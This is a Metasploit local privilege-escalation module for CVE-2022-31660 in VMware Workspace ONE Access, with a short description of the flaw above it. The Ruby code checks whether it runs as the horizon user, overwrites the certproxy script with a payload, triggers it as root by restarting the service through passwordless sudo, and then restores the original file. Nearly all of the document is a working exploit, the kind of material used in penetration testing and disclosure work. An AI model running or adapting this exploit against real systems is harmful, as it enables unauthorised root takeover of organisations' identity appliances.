VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control is permitted via the sudo configuration without a password.
84c0696cc53d2e4bd749c04b694cbb8ae3676b266a9d0e92ecb77d88dc2558c3
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Unix
TARGET_FILE = '/opt/vmware/certproxy/bin/cert-proxy.sh'.freeze
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'VMware Workspace ONE Access CVE-2022-31660',
'Description' => %q{
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges
to those of the root user by modifying a file and then restarting the vmware-certproxy service which
invokes it. The service control is permitted via the sudo configuration without a password.
},
'License' => MSF_LICENSE,
'Author' => [
'Spencer McIntyre'
],
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'PrependFork' => true,
'MeterpreterTryToFork' => true
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2022-31660' ],
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0021.html' ]
],
'DisclosureDate' => '2022-08-02',
'Notes' => {
# We're corrupting the vmware-certproxy service, if restoring the contents fails it won't work. This service
# is disabled by default though.
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
}
)
)
end
def certproxy_service
# this script's location depends on the version, so find it.
return @certproxy_service if @certproxy_service
@certproxy_service = [
'/usr/local/horizon/scripts/certproxyService.sh',
'/opt/vmware/certproxy/bin/certproxyService.sh'
].find { |path| file?(path) }
vprint_status("Found service control script at: #{@certproxy_service}") if @certproxy_service
@certproxy_service
end
def sudo(arguments)
cmd_exec("sudo --non-interactive #{arguments}")
end
def check
unless whoami == 'horizon'
return CheckCode::Safe('Not running as the horizon user.')
end
token = Rex::Text.rand_text_alpha(10)
unless sudo("--list '#{certproxy_service}' && echo #{token}").include?(token)
return CheckCode::Safe('Cannot invoke the service control script with sudo.')
end
unless writable?(TARGET_FILE)
return CheckCode::Safe('Cannot write to the service file.')
end
CheckCode::Appears
end
def exploit
# backup the original permissions and contents
print_status('Backing up the original file...')
@backup = {
stat: stat(TARGET_FILE),
contents: read_file(TARGET_FILE)
}
if payload.arch.first == ARCH_CMD
payload_data = "#!/bin/bash\n#{payload.encoded}"
else
payload_data = generate_payload_exe
end
upload_and_chmodx(TARGET_FILE, payload_data)
print_status('Triggering the payload...')
sudo("--background #{certproxy_service} restart")
end
def cleanup
return unless @backup
print_status('Restoring file contents...')
file_rm(TARGET_FILE) # it's necessary to delete the running file before overwriting it
write_file(TARGET_FILE, @backup[:contents])
print_status('Restoring file permissions...')
chmod(TARGET_FILE, @backup[:stat].mode & 0o777)
end
end